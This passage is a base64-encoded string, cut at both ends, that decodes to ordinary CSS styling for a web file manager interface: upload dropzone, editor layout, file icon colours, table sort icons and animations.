CAgICAgICAgICAgICAgY29sb3I6ICNlY2VjZWNcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZhLmZhLWhvbWUge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4zZW07XG4gICAgICAgICAgICAgICAgdmVydGljYWwtYWxpZ246IGJvdHRvbVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucGF0aCB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTBweFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmb3JtLmRyb3B6b25lIHtcbiAgICAgICAgICAgICAgICBtaW4taGVpZ2h0OiAyMDBweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDJweCBkYXNoZWQgIzAwN2JmZjtcbiAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogNnJlbTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLnJpZ2h0IHtcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiByaWdodFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuY2VudGVyLFxuICAgICAgICAgICAgLmNsb3NlLFxuICAgICAgICAgICAgLmxvZ2luLWZvcm0sXG4gICAgICAgICAgICAucHJldmlldy1pbWctY29udGFpbmVyIHtcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXJcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm1lc3NhZ2Uge1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDRweCA3cHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2RkZDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLm9rIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IGdyZWVuO1xuICAgICAgICAgICAgICAgIGNvbG9yOiBncmVlblxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZS5lcnJvciB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiByZWQ7XG4gICAgICAgICAgICAgICAgY29sb3I6IHJlZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZS5hbGVydCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiBvcmFuZ2U7XG4gICAgICAgICAgICAgICAgY29sb3I6IG9yYW5nZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucHJldmlldy1pbWcge1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBtYXgtaGVpZ2h0OiA4MHZoO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHVybChkYXRhOmltYWdlXC9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FJQUFBQ1FrV2cyQUFBQUtrbEVRVlI0Mm1MNVwvXC84XC9BemJ3K1BGanJPSk1EQ1NDVVEzRUFCWmM0UzByS3pzYVN2VFRBQkJnQU15ZkNNc1k0QjlpQUFBQUFFbEZUa1N1UW1DQyk7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiB6b29tLWluXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGlucHV0I3ByZXZpZXctaW1nLXpvb21DaGVja1t0eXBlPWNoZWNrYm94XSB7XG4gICAgICAgICAgICAgICAgZGlzcGxheTogbm9uZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpbnB1dCNwcmV2aWV3LWltZy16b29tQ2hlY2tbdHlwZT1jaGVja2JveF06Y2hlY2tlZH5sYWJlbD5pbWcge1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogbm9uZTtcbiAgICAgICAgICAgICAgICBtYXgtaGVpZ2h0OiBub25lO1xuICAgICAgICAgICAgICAgIGN1cnNvcjogem9vbS1vdXRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmlubGluZS1hY3Rpb25zPmE+aSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxZW07XG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDVweDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMzc4NWMxO1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjZmZmO1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDNweCA0cHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogM3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucHJldmlldy12aWRlbyB7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDA7XG4gICAgICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDYyLjUlO1xuICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLnByZXZpZXctdmlkZW8gdmlkZW8ge1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDEwMCU7XG4gICAgICAgICAgICAgICAgbGVmdDogMDtcbiAgICAgICAgICAgICAgICB0b3A6IDA7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzAwMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuY29tcGFjdC10YWJsZSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAwO1xuICAgICAgICAgICAgICAgIHdpZHRoOiBhdXRvXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5jb21wYWN0LXRhYmxlIHRkLFxuICAgICAgICAgICAgLmNvbXBhY3QtdGFibGUgdGgge1xuICAgICAgICAgICAgICAgIHdpZHRoOiAxMDBweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDA7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5jb21wYWN0LXRhYmxlIHRyOmhvdmVyIHRkIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5maWxlbmFtZSB7XG4gICAgICAgICAgICAgICAgbWF4LXdpZHRoOiA0MjBweDtcbiAgICAgICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuO1xuICAgICAgICAgICAgICAgIHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5icmVhay13b3JkIHtcbiAgICAgICAgICAgICAgICB3b3JkLXdyYXA6IGJyZWFrLXdvcmQ7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDMwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyZWFrLXdvcmQuZmxvYXQtbGVmdCBhIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzdkN2Q3ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnJlYWstd29yZCsuZmxvYXQtcmlnaHQge1xuICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDMwcHg7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5icmVhay13b3JkKy5mbG9hdC1yaWdodD5hIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzdkN2Q3ZDtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEuMmVtO1xuICAgICAgICAgICAgICAgIG1hcmdpbi1yaWdodDogNHB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNlZGl0b3Ige1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgICAgICByaWdodDogMTVweDtcbiAgICAgICAgICAgICAgICB0b3A6IDEwMHB4O1xuICAgICAgICAgICAgICAgIGJvdHRvbTogMTVweDtcbiAgICAgICAgICAgICAgICBsZWZ0OiAxNXB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOjQ4MXB4KSB7XG4gICAgICAgICAgICAgICAgI2VkaXRvciB7XG4gICAgICAgICAgICAgICAgICAgIHRvcDogMTUwcHg7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbm9ybWFsLWVkaXRvciB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogM3B4O1xuICAgICAgICAgICAgICAgIGJvcmRlci13aWR0aDogMnB4O1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDEwcHg7XG4gICAgICAgICAgICAgICAgb3V0bGluZTogbm9uZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJ0bi0yIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiA0cHggMTBweDtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IHNtYWxsO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBsaS5maWxlOmJlZm9yZSxcbiAgICAgICAgICAgIGxpLmZvbGRlcjpiZWZvcmUge1xuICAgICAgICAgICAgICAgIGZvbnQ6IG5vcm1hbCBub3JtYWwgbm9ybWFsIDE0cHhcLzEgRm9udEF3ZXNvbWU7XG4gICAgICAgICAgICAgICAgY29udGVudDogXCJcXGYwMTZcIjtcbiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDVweFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBsaS5mb2xkZXI6YmVmb3JlIHtcbiAgICAgICAgICAgICAgICBjb250ZW50OiBcIlxcZjExNFwiXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZm9sZGVyLW8ge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjMDE1N2IzXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtcGljdHVyZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzI2Yjk5YVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtYXJjaGl2ZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2RhN2Q3ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnRuLTIgaS5mYS5mYS1maWxlLWFyY2hpdmUtbyB7XG4gICAgICAgICAgICAgICAgY29sb3I6IGluaGVyaXRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgaS5mYS5mYS1jc3MzIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2YzNmZhMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtY29kZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzAwN2JmZlxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWNvZGUge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjY2M0YjRjXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZmlsZS10ZXh0LW8ge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjMDA5NmU2XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtaHRtbDUge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjZDc1ZTcyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZmlsZS1leGNlbC1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzA5YzU1ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtcG93ZXJwb2ludC1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2Y2NzEyZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmdvLWJhY2sge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4yZW07XG4gICAgICAgICAgICAgICAgY29sb3I6ICMwMDdiZmY7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tYWluLW5hdiB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogMC4ycmVtIDFyZW07XG4gICAgICAgICAgICAgICAgYm94LXNoYWRvdzogMCA0cHggNXB4IDAgcmdiYSgwLCAwLCAwLCAuMTQpLCAwIDFweCAxMHB4IDAgcmdiYSgwLCAwLCAwLCAuMTIpLCAwIDJweCA0cHggLTFweCByZ2JhKDAsIDAsIDAsIC4yKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZGF0YVRhYmxlc19maWx0ZXIge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IG5vbmU7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZyB7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyIHJpZ2h0O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgnZGF0YTppbWFnZVwvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBUUFBQURZV2Y1SEFBQUFrRWxFUVZRb3o3WFFNUTVBUUJDRjRkV1FTSnhDNXd3YXgxQ3ExZTdCQWR4RDVTTCtUcVwvUUNNMW9OaUppZHdveDAzNTVtWG5HXC9EckV0SVE2YXppb05aUXhJMHlrUGhUUUl3aENSK0JtQll0bEs3a0xKWXdXQ2NKQTlNNHFkclpyZDhwUGpaV1B0T3FkUlF5MzIwWVNWMTdPYXRGQzRldXRzNnozOUdZTUtSUENUS1k5VW5QUTZQK0d0TVJmR3RQbkJDaXFoQWVKUG1rcUFBQUFBRWxGVGtTdVFtQ0MnKTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgdGFibGUuZGF0YVRhYmxlIHRoZWFkIC5zb3J0aW5nX2FzYyB7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyIHJpZ2h0O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgnZGF0YTppbWFnZVwvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBWUFBQUJ5VURiTUFBQUFaMGxFUVZRNHkyTmdHTEtncXVFdUZ4QlBBR0kyYWhoV0NzU1wvZ0RpYlVvTzBnUGd4RVA4SDR0dEFyRXl1UVl4QVBCZHFFQXhQQkltVFk1Z2pFTDlETSt3VEVOdVFhaEF2RU85RE13aUdkd0F4T3ltR0pRTHhUeUQramdXRHhDTVpSc0VvR0FWb0FBRGVlbXd0UGNaSTJ3QUFBQUJKUlU1RXJrSmdnZz09Jyk7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZ19kZXNjIHtcbiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjZW50ZXIgcmlnaHQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKCdkYXRhOmltYWdlXC9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCTUFBQUFUQ0FZQUFBQnlVRGJNQUFBQVpVbEVRVlE0eTJOZ0dBV2pZQlNnZ2FxR3U1RkFcL0JPSXYyUEJJUEZFVWd4akIrSWRRUHdmQzk0SHhMeWt1czRHaUQraEdmUU9pQjNKOFNvakVFOUVNMnd1U0p6Y3NGTUc0dHRRZ3g0RHNSYWxrWkVOeEwrQXVKUWFNY3NHeEJPQW1Hdm9wazhBVnoxc0xaZ2cwYnNBQUFBQVNVVk9SSzVDWUlJPScpO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICB0YWJsZS5kYXRhVGFibGUgdGhlYWQgdHI6Zmlyc3QtY2hpbGQgdGguY3VzdG9tLWNoZWNrYm94LWhlYWRlcjpmaXJzdC1jaGlsZCB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZvb3Rlci1hY3Rpb24gbGkge1xuICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHg7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5hcHAtdi10aXRsZSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4O1xuICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiAzMDA7XG4gICAgICAgICAgICAgICAgbGV0dGVyLXNwYWNpbmc6IC0uNXB4O1xuICAgICAgICAgICAgICAgIHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGhyLmN1c3RvbS1ociB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXRvcDogMXB4IGRhc2hlZCAjOGM4YjhiO1xuICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBkYXNoZWQgI2ZmZjtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI3NuYWNrYmFyIHtcbiAgICAgICAgICAgICAgICB2aXNpYmlsaXR5OiBoaWRkZW47XG4gICAgICAgICAgICAgICAgbWluLXdpZHRoOiAyNTBweDtcbiAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogLTEyNXB4O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMzMzM7XG4gICAgICAgICAgICAgICAgY29sb3I6ICNmZmY7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDJweDtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxNnB4O1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDtcbiAgICAgICAgICAgICAgICB6LWluZGV4OiAxO1xuICAgICAgICAgICAgICAgIGxlZnQ6IDUwJTtcbiAgICAgICAgICAgICAgICBib3R0b206IDMwcHg7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxN3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjc25hY2tiYXIuc2hvdyB7XG4gICAgICAgICAgICAgICAgdmlzaWJpbGl0eTogdmlzaWJsZTtcbiAgICAgICAgICAgICAgICAtd2Via2l0LWFuaW1hdGlvbjogZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzO1xuICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBALXdlYmtpdC1rZXlmcmFtZXMgZmFkZWluIHtcbiAgICAgICAgICAgICAgICBmcm9tIHtcbiAgICAgICAgICAgICAgICAgICAgYm90dG9tOiAwO1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAwO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIHRvIHtcbiAgICAgICAgICAgICAgICAgICAgYm90dG9tOiAzMHB4O1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgQGtleWZyYW1lcyBmYWRlaW4ge1xuICAgICAgICAgICAgICAgIGZyb20ge1xuICAgICAgICAgICAgICAgICAgICBib3R0b206IDA7XG4gICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDA7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgdG8ge1xuICAgICAgICAgICAgICAgICAgICBib3R0b206IDMwcHg7XG4gICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBALXdlYmtpdC1rZXlmcmFtZXMgZmFkZW91dCB7XG4gICAgICAgICAgICAgICAgZnJvbSB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMzBweDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICB0byB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBrZXlmcmFtZXMgZmFkZW91dCB7XG4gICAgICAgICAgICAgICAgZnJvbSB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMzBweDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICB0byB7XG4gICAgICAgICAgICAgICAgICAgIGJvdHRvbTogMDtcbiAgICAgICAgICAgICAgICAgICAgb3BhY2l0eTogMDtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2Uge1xuICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDJweCBzb2xpZCAjZjhmOWZhXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDEpIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICNkZjQyMjdcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoMikge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogI2Y4YjYwMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCgzKSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjMDBiZDYwXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDQpIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6ICM0NTgxZmZcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZTpudGgtY2hpbGQoNSkge1xuICAgICAgICAgICAgICAgIGJvcmRlci1jb2xvcjogI2FjNjhmY1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSBzcGFuLmJhZGdlOm50aC1jaGlsZCg2KSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjNDVjM2QyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi1kZXZpY2Utd2lkdGg6NzY4cHgpIGFuZCAobWF4LWRldmljZS13aWR0aDoxMDI0cHgpIGFuZCAob3JpZW50YXRpb246bGFuZHNjYXBlKSBhbmQgKC13ZWJraXQtbWluLWRldmljZS1waXhlbC1yYXRpbzoyKSB7XG4gICAgICAgICAgICAgICAgLm5hdmJhci1jb2xsYXBzZSAuY29sLXhzLTYge1xuICAgICAgICAgICAgICAgICAgICBwYWRkaW5nOiAwO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJ0bi5hY3RpdmUuZm9jdXMsXG4gICAgICAgICAgICAuYnRuLmFjdGl2ZTpmb2N1cyxcbiAgICAgICAgICAgIC5idG4uZm9jdXMsXG4gICAgICAgICAgICAuYnRuLmZvY3VzOmFjdGl2ZSxcbiAgICAgICAgICAgIC5idG46YWN0aXZlOmZvY3VzLFxuICAgICAgICAgICAgLmJ0bjpmb2N1cyB7XG4gICAgICAgICAgICAgICAgb3V0bGluZTogMCAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIG91dGxpbmUtb2Zmc2V0OiAwICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIC13ZWJraXQtYm94LXNoYWRvdzogbm9uZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIHtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBub25lO1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICAgICAgICAgICAgICB3aWR0aDogNjRweDtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDY0cHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmxkcy1mYWNlYm9vayBkaXYsXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rLnNob3ctbWUge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9ja1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdiB7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICAgICAgICAgIGxlZnQ6IDZweDtcbiAgICAgICAgICAgICAgICB3aWR0aDogMTNweDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMDA3YmZmO1xuICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogbGRzLWZhY2Vib29rIDEuMnMgY3ViaWMtYmV6aWVyKDAsIC41LCAuNSwgMSkgaW5maW5pdGVcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmxkcy1mYWNlYm9vayBkaXY6bnRoLWNoaWxkKDEpIHtcbiAgICAgICAgICAgICAgICBsZWZ0OiA2cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAtLjI0c1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMikge1xuICAgICAgICAgICAgICAgIGxlZnQ6IDI2cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAtLjEyc1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMykge1xuICAgICAgICAgICAgICAgIGxlZnQ6IDQ1cHg7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uLWRlbGF5OiAwc1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBAa2V5ZnJhbWVzIGxkcy1mYWNlYm9vayB7XG4gICAgICAgICAgICAgICAgMCUge1xuICAgICAgICAgICAgICAgICAgICB0b3A6IDZweDtcbiAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiA1MXB4XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgMTAwJSxcbiAgICAgICAgICAgICAgICA1MCUge1xuICAgICAgICAgICAgICAgICAgICB0b3A6IDE5cHg7XG4gICAgICAgICAgICAgICAgICAgIGhlaWdodDogMjZweFxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgdWwjc2VhcmNoLXdyYXBwZXIge1xuICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZWNlY2VjY2M7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIGxpIHtcbiAgICAgICAgICAgICAgICBsaXN0LXN0eWxlOiBub25lO1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDVweDtcbiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2VjZWNlY2NjO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICB1bCNzZWFyY2gtd3JhcHBlciBsaTpudGgtY2hpbGQob2RkKSB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZDogI2Y5ZjlmOWNjO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYy1wcmV2aWV3LWltZyB7XG4gICAgICAgICAgICAg